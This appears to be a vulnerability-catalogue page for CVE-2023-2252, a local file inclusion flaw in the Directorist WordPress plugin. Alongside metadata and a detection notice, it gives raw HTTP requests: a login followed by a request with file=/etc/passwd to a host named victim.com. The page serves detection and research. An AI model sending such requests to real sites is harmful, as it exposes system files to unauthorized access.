🔙 목록으로 돌아가기

CVE-2023-2252: Directorist < 7.5.4 - Local File Inclusion

TitleDirectorist < 7.5.4 - Local File Inclusion
Authorr3Y3r53
SeverityLow
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
RemediationFixed in version 7.5.4
CVSS Score2.7
EPSS Score0.10304
CVE IDCVE-2023-2252
CWE IDCWE-22
Tags cve2023 cve wpscan lfi directorist wordpress wp-plugin wp authenticated wpwax vuln

🔍 Vulnerability Description

Directorist before 7.5.4 is susceptible to Local File Inclusion as it does not validate the file parameter when importing CSV files.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=lGBTl8&pwd=LLQ8IA&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2252.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2252.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A